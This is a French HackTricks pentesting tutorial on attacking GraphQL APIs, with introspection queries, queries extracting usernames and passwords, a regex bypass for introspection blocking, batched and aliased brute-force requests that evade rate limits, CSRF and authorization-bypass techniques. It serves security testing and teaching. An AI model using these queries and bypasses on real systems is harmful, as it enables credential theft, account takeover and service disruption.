# GraphQL
Apprenez le piratage AWS de zéro à héros avechtARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Introduction
GraphQL est **souligné** comme une **alternative efficace** aux API REST, offrant une approche simplifiée pour interroger les données du backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes sur des points de terminaison variés pour collecter des données, GraphQL permet de récupérer toutes les informations requises via une **seule requête**. Cette rationalisation bénéficie considérablement aux développeurs en réduisant la complexité de leurs processus de récupération de données.
## GraphQL et Sécurité
Avec l'avènement de nouvelles technologies, y compris GraphQL, de nouvelles vulnérabilités de sécurité émergent également. Il est important de noter que **GraphQL ne comprend pas par défaut de mécanismes d'authentification**. Il incombe aux développeurs de mettre en place de telles mesures de sécurité. Sans une authentification adéquate, les points de terminaison GraphQL peuvent exposer des informations sensibles à des utilisateurs non authentifiés, posant un risque de sécurité important.
### Attaques de Force Brute de Répertoire et GraphQL
Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques de force brute de répertoire. Ces chemins sont :
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes prises en charge par un schéma. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : Un langage de requête pour les API.**](https://graphql.org/learn/introspection/)
### Empreinte
L'outil [**graphw00f**](https://github.com/dolevf/graphw00f) est capable de détecter quel moteur GraphQL est utilisé sur un serveur, puis imprime des informations utiles pour l'auditeur en sécurité.
#### Requêtes universelles
Pour vérifier si une URL est un service GraphQL, une **requête universelle**, `query{__typename}`, peut être envoyée. Si la réponse inclut `{"data": {"__typename": "Query"}}`, cela confirme que l'URL héberge un point de terminaison GraphQL. Cette méthode repose sur le champ `__typename` de GraphQL, qui révèle le type de l'objet interrogé.
```javascript
query{__typename}
```
### Énumération de base
Graphql prend généralement en charge **GET**, **POST** (x-www-form-urlencoded) et **POST**(json). Bien que pour des raisons de sécurité, il est recommandé de n'autoriser que le json pour prévenir les attaques CSRF.
#### Introspection
Pour utiliser l'introspection afin de découvrir des informations sur le schéma, interrogez le champ `__schema`. Ce champ est disponible sur le type racine de toutes les requêtes.
```bash
query={__schema{types{name,fields{name}}}}
```
Avec cette requête, vous trouverez le nom de tous les types utilisés :
![](<../../.gitbook/assets/image (1033).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
Avec cette requête, vous pouvez extraire tous les types, leurs champs et leurs arguments (ainsi que le type des arguments). Cela sera très utile pour savoir comment interroger la base de données.
![](<../../.gitbook/assets/image (947).png>)
**Erreurs**
Il est intéressant de savoir si les **erreurs** vont être **affichées** car elles contribueront avec des **informations** utiles.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
**Énumérer le schéma de la base de données via l'introspection**
{% hint style="info" %}
Si l'introspection est activée mais que la requête ci-dessus ne s'exécute pas, essayez de supprimer les directives `onOperation`, `onFragment` et `onField` de la structure de la requête.
{% endhint %}
```bash
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
Requête d'inspection en ligne :
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
La dernière ligne de code est une requête graphql qui va extraire toutes les métadonnées du graphql (noms des objets, paramètres, types...)
![](<../../.gitbook/assets/image (360).png>)
Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) pour visualiser dans une interface graphique toutes les options.
### Interrogation
Maintenant que nous savons quel type d'informations est stocké dans la base de données, essayons d'**extraire certaines valeurs**.
Dans l'introspection, vous pouvez trouver **quels objets vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet de drapeau.
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
Notez que le type de la requête "_flags_" est "_Flags_", et que cet objet est défini comme suit :
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
Vous pouvez voir que les objets "_Flags_" sont composés par **name** et **value**. Ensuite, vous pouvez obtenir tous les noms et valeurs des drapeaux avec la requête :
```javascript
query={flags{name, value}}
```
Notez que dans le cas où l'**objet à interroger** est un **type primitif** comme une **chaîne de caractères** comme dans l'exemple suivant
![](<../../.gitbook/assets/image (955).png>)
Vous pouvez simplement interroger avec:
```javascript
query={hiddenFlags}
```
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet de type "_Query_" : "_user_" et "_users_".\
Si ces objets n'ont pas besoin d'arguments pour être recherchés, vous pourriez **récupérer toutes les informations à leur sujet** en demandant simplement les données que vous voulez. Dans cet exemple sur Internet, vous pourriez extraire les noms d'utilisateur et les mots de passe enregistrés :
![](<../../.gitbook/assets/image (877).png>)
Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **erreur** :
![](<../../.gitbook/assets/image (1039).png>)
On dirait qu'il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\
Quoi qu'il en soit, nous savions déjà que, dans la section [Énumération de base](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Si vous lisez l'image fournie lorsque j'ai exécuté cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
Ainsi, en effectuant une légère attaque par force brute sur l'_**uid**_, j'ai découvert qu'avec l'_**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (87).png>)
Notez que j'ai **découvert** que je pouvais demander les **paramètres** "_**user**_" et "_**password**_" car si j'essaie de chercher quelque chose qui n'existe pas (`query={user(uid:1){noExists}}`), j'obtiens cette erreur :
![](<../../.gitbook/assets/image (704).png>)
Et lors de la phase d'**énumération**, j'ai découvert que l'objet "_**dbuser**_" avait comme champs "_**user**_" et "_**password**_.
**Astuce de vidage de chaîne de requête (merci à @BinaryShadow\_)**
Si vous pouvez rechercher par un type de chaîne de caractères, comme : `query={theusers(description: ""){username,password}}` et que vous **recherchez une chaîne vide**, cela va **vider toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de type chaîne de caractères appelé "**description**"_).
### Recherche
Dans cette configuration, une **base de données** contient des **personnes** et des **films**. Les **personnes** sont identifiées par leur **e-mail** et leur **nom** ; les **films** par leur **nom** et leur **classement**. Les **personnes** peuvent être amies les unes avec les autres et avoir également des films, indiquant des relations au sein de la base de données.
Vous pouvez **rechercher** des personnes **par** le **nom** et obtenir leurs adresses e-mail :
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
Vous pouvez **rechercher** des personnes **par** leur **nom** et obtenir les **films** auxquels elles sont **abonnées** :
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
Notez comment il est indiqué de récupérer le `name` des `subscribedMovies` de la personne.
Vous pouvez également **rechercher plusieurs objets en même temps**. Dans ce cas, une recherche de 2 films est effectuée :
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
Ou même **relations entre plusieurs objets différents en utilisant des alias** :
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations
**Les mutations sont utilisées pour apporter des modifications côté serveur.**
Dans l'**introspection**, vous pouvez trouver les **mutations** **déclarées**. Dans l'image suivante, "_MutationType_" est appelé "_Mutation_" et l'objet "_Mutation_" contient les noms des mutations (comme "_addPerson_" dans ce cas) :
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
Dans cette configuration, une **base de données** contient des **personnes** et des **films**. Les **personnes** sont identifiées par leur **email** et leur **nom** ; les **films** par leur **nom** et leur **note**. Les **personnes** peuvent être amies les unes avec les autres et avoir également des films, indiquant des relations au sein de la base de données.
Une mutation pour **créer de nouveaux** films dans la base de données peut ressembler à celle-ci (dans cet exemple, la mutation est appelée `addMovie`) :
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**Notez comment les valeurs et le type de données sont indiqués dans la requête.**
De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leur association à des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Surcharge de directive
Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**](https://www.landh.tech/blog/20240304-google-hack-50000/), une surcharge de directive implique d'appeler une directive même des millions de fois pour amener le serveur à gaspiller des opérations jusqu'à ce qu'il soit possible de le soumettre à une attaque par déni de service (DoS).
### Force brute par lots en 1 requête API
Cette information a été tirée de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
L'authentification via l'API GraphQL consiste à **envoyer simultanément de nombreuses requêtes avec des identifiants différents** pour les vérifier. Il s'agit d'une attaque de force brute classique, mais il est maintenant possible d'envoyer plus d'une paire de nom d'utilisateur/mot de passe par requête HTTP en raison de la fonctionnalité de regroupement de requêtes GraphQL. Cette approche tromperait les applications de surveillance des taux externes en leur faisant croire que tout va bien et qu'il n'y a pas de robot de force brute essayant de deviner des mots de passe.
Ci-dessous, vous trouverez la démonstration la plus simple d'une demande d'authentification d'application, avec **3 paires d'adresses e-mail/mot de passe différentes à la fois**. Il est évidemment possible d'en envoyer des milliers en une seule requête de la même manière :
![](<../../.gitbook/assets/image (1078).png>)
Comme le montre la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation contenait les données d'authentification correctes** et la réponse avait le jeton de session d'authentification correct.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL sans introspection
De plus en plus de **points de terminaison GraphQL désactivent l'introspection**. Cependant, les erreurs que GraphQL renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) pour recréer la majeure partie du schéma.
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes d'API GraphQL passant par Burp** et **construit** un schéma GraphQL **interne** avec chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une fausse réponse lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail affiche toutes les requêtes, arguments et champs disponibles pour une utilisation dans l'API. Pour plus d'informations, [**consultez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Une **liste de mots** intéressante pour découvrir les [**entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Contournement des défenses d'introspection GraphQL
### **Contournement des défenses d'introspection GraphQL**
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les modèles regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **des espaces, des sauts de ligne et des virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec un saut de ligne après `__schema` peut contourner de telles défenses :
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
Si cela échoue, envisagez des méthodes de requête alternatives, telles que les **requêtes GET** ou les **POST avec `x-www-form-urlencoded`**, car des restrictions peuvent s'appliquer uniquement aux requêtes POST.
### **Découverte des structures GraphQL exposées**
Lorsque l'introspection est désactivée, l'examen du code source du site web pour les requêtes préchargées dans les bibliothèques JavaScript est une stratégie utile. Ces requêtes peuvent être trouvées en utilisant l'onglet `Sources` dans les outils de développement, fournissant des informations sur le schéma de l'API et révélant potentiellement des **requêtes sensibles exposées**. Les commandes pour rechercher dans les outils de développement sont :
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF dans GraphQL
Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans jetons CSRF.**
Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Cependant, la plupart des points de terminaison GraphQL prennent également en charge les requêtes POST **`form-urlencoded` :**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Par conséquent, comme les requêtes CSRF comme les précédentes sont envoyées **sans requêtes de pré-vérification**, il est possible d'**effectuer** des **changements** dans le GraphQL en abusant d'une CSRF.
Cependant, notez que la nouvelle valeur par défaut du cookie pour le drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site web tiers dans les requêtes GET.
Notez qu'il est généralement possible d'envoyer la **requête** de **query** également en tant que requête **GET et que le jeton CSRF pourrait ne pas être validé dans une requête GET.**
De plus, en abusant d'une [attaque **XS-Search**](../../pentesting-web/xs-search/), il pourrait être possible d'extraire du contenu de l'endpoint GraphQL en abusant des informations d'identification de l'utilisateur.
Pour plus d'informations, **consultez le** [**message original ici**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Autorisation dans GraphQL
De nombreuses fonctions GraphQL définies sur l'endpoint pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation.
La modification des variables d'entrée de la requête pourrait entraîner la divulgation de détails sensibles sur le compte [fuité](https://hackerone.com/reports/792927).
Une mutation pourrait même entraîner une prise de contrôle de compte en essayant de modifier les données d'autres comptes.
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Contourner l'autorisation dans GraphQL
[Chainer des requêtes](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) peut contourner un système d'authentification faible.
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas, nous ajoutons "register" et une variable utilisateur pour que le système s'inscrive en tant que nouvel utilisateur.
## Contourner les limites de taux en utilisant des alias dans GraphQL
Dans GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors de l'envoi d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Alors que l'objectif principal des alias est de réduire la nécessité de nombreuses appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
Considérez l'exemple fourni ci-dessous, qui illustre comment les requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction de magasin. Cette méthode pourrait contourner les limites de taux car elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement de vérifier simultanément de nombreux codes de réduction.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## Outils
### Scanners de vulnérabilités
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils qui peut être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé en tant que standalone ou [extension Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut être utilisé en tant que client CLI pour automatiser les attaques.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes façons d'atteindre un type donné dans un schéma GraphQL.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attaquant**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner les limites de taux mal implémentées.
### Clients
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql) : Client GUI
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/) : Client GUI
### Tests automatiques
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
* Vidéo expliquant AutoGraphQL : [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Références
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
Apprenez le piratage AWS de zéro à héros avechtARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.